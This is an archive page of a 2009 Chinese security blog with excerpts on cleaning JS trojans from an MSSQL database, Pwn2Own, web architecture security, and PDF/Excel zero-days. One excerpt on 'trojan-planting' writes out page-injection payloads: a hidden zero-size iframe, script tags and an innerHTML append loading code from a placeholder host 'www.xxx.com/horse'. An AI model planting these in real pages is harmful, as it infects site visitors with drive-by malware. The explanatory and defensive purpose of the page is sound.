Archive for 二月, 2009

MSSQL数据库被插入木马批量删除sql语句,一朋友服务器被批量插入了js木马,几乎每个表的文本字段都被插入了,网上找了这个sql语句,修改了下,备用。

–删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N’update ‘+QUOTENAME(o.name)
+N’ set ‘+ QUOTENAME(c.name) + N’ = replace(‘ + QUOTENAME(c.name)…

从系统表自动生成sql语句来运行得到结果

SELECT a.name AS columnname,object_name(a.id)AS tablename INTO t FROM syscolumns a,
 
sysobjects b,
 
systypes c
 
WHERE a.id=b.id
 
AND a.xtype=c.xtype
 
AND b.xtype=’u’
 
AND c.name IN(’varchar’,'nvarchar’,'char’,'nchar’,'text’,'ntext’)
 
AND object_name(a.id)<>’t’
 
 
 
go
 
 
 
CREATE…

TippingPoint公司透露,2009年的Pwn2Own黑客竞赛的重点将转移到智能手机,主要任务是测试跨平台移动操作系统的安全.
智能手机的安全近年来越来越受到关注,苹果的iPhone,微软的WM,RIM的BB和Google的Android,还有诺基亚的Symbian都是关注的对象,比赛分两个阶段进行,第一天面向远程突破系统,第二天突破专家预先安装好的软件.Pwn2Own对于智能手机产业来说是一个极大的考验,这是一次非常罕见的安全大检查.
本次Pwn2Own黑客大赛奖金达到10000美元,此外还有实物奖品 — 谁突破的设备谁拿走.
此外,Windows 7,Internet Explorer 8,Mozilla Firefox和Chrome浏览器的黑客比赛项目也非常受关注,将近5000美金.

6064

二月 26th, 2009

WEB系统安全架构需注意的问题

2 Comments, 安全防护, by Neeao, 262 views.

今天闲一点,大致说说目前流行的这种WEB系统安全架构需要注意的问题。
顺便先提一下所谓当前流行的WEB架构。在网络架构方面,目前流行的趋势和以前传统的门户网站采用七层交换,或者四层交换集中式部署做负载均衡不同,比较倾向于在物理位置上做分布式节点,通过智能DNS引导用户就近访问。这些CDN节点,有的是实际的WEB服务器,但是大多数可能只是一些Squid或者 Nginx之类的反向代理。这样做的好处第一是有更好的用户体验,第二是在拒绝服务攻击时,也有更灵活的应对方式。
鉴于系统分布式部署的趋势,因此在编码方面,也就开始流行刺提到过的Restful风格。所谓Restful风格,本质来说,就是客户端自己维持自己的状态,而且服务端信任这个客户端维持的状态。根据从客户端获取到的不同的状态,返回不同的页面。这里尽量的减少了服务端的判断等工作,让客户端对WEB系统的依赖性减轻,服务端做的仅仅是根据状态返回结果,并且在需要时为服务器设置一个新的状态,即所谓状态变迁。这点和P2P的去中心化有些类似,客户端不太在意自己连接到了哪一个服务器上面,只要自己维持着自己的状态,连接到WEB系统的任意一个服务器得到的结果都是一样的。目前流行的做法,就是不适用 session仅仅使用cookie,当然使用数据库session也是可以的。但是我觉得尽量把这些事情给客户端去做更好,减少数据库服务器的维护成本和故障风险,去中心化彻底一些。
目前这种分布式缓存节点大量使用,以及客户端自己维持状态的架构的流行,带来的两个安全风险就是敏感内容缓存的风险,以及客户端状态窃取或伪造的风险,而且前所未有的突出。
关于客户端维护的状态检验以及反窃取,关键点在于对cookie的加密算法强度以及完整性检验可靠度。在客户端状态被窃取时降低风险,我提到过cookie加入时间戳的方案,这个在刺的文章里有很详细的探讨,包后后面很多评论。

二月 26th, 2009

详解挂马方法和技巧

No Comments, 技术文档, by Neeao, 587 views.

1,挂马的N种方法
(1) HTML挂马法。
常规的HTML挂马方法一般是在网页中插入一条iframe语句,像<iframe src=http://www.xxx.com/horse.html width=0 height=0></iframe>。查看站点是否被挂,一般是查找一下关键词iframe。
(2) 再隐藏一点的就是js挂马了。
像再原来的网页中写入<script str=http://www.xxx.com/horse.js></script>,horse里的js写法一般为 document.write(‘http:\/\/www.xxx.com\/horse.html’>;,或者专业一点的写法是 top.document.body.innerHTML  = top.document.body.innerHTML + ‘\r\n<inframe src=”http://www.xxx.com/horse.htm/”></iframe>’;。不过第2种写法要注意:是原来的网页种要有body标签。
(3) 在 css中挂马。
这个方法就是在css中写入:
body {
hytop:expression(top.document.body.innerHTML = top.document.body.innerHTML +…

二月 25th, 2009

New Excel 0-day being exploited

1 Comment, 业界咨询, by Neeao, 323 views.

Symantec is reporting that there is an exploit in the wild for an Excel 2007 and Excel 2007 SP1 zero-day remote…

二月 25th, 2009

新的pdf 0day 在这里

1 Comment, 安全防护, by Neeao, 270 views.

下面这个是老的。
http://insecureweb.com/%20/newish-web-based-pdf-attack-in-the-wild-with-real-exploit-code/
新的pdf 0day 在这里
http://vrt-sourcefire.blogspot.com/2009/02/have-nice-weekend-pdf-love.html
Maybe you read Michael Howard’s twitter feed. If so, you may be wondering why you were asked to…

二月 25th, 2009

Adobe最近漏洞多多啊

No Comments, 安全防护, by Neeao, 182 views.

现在有几个Windows用户不安装adobe产品的?
两个adobe产品的最新情况:
1. Acrobat reader, 一个好消息一个坏消息
坏消息: 前几天那个0day, Secunia已经搞出来一个不需要JS的exp,
Secunia managed to create a reliable, fully working exploit which does not use…

二月 24th, 2009

Active Network招聘Web应用安全工程师

2 Comments, 业界咨询, by Neeao, 276 views.

Position: Web Application Security Engineer

As a member of the web security team the candidate will design and implement security…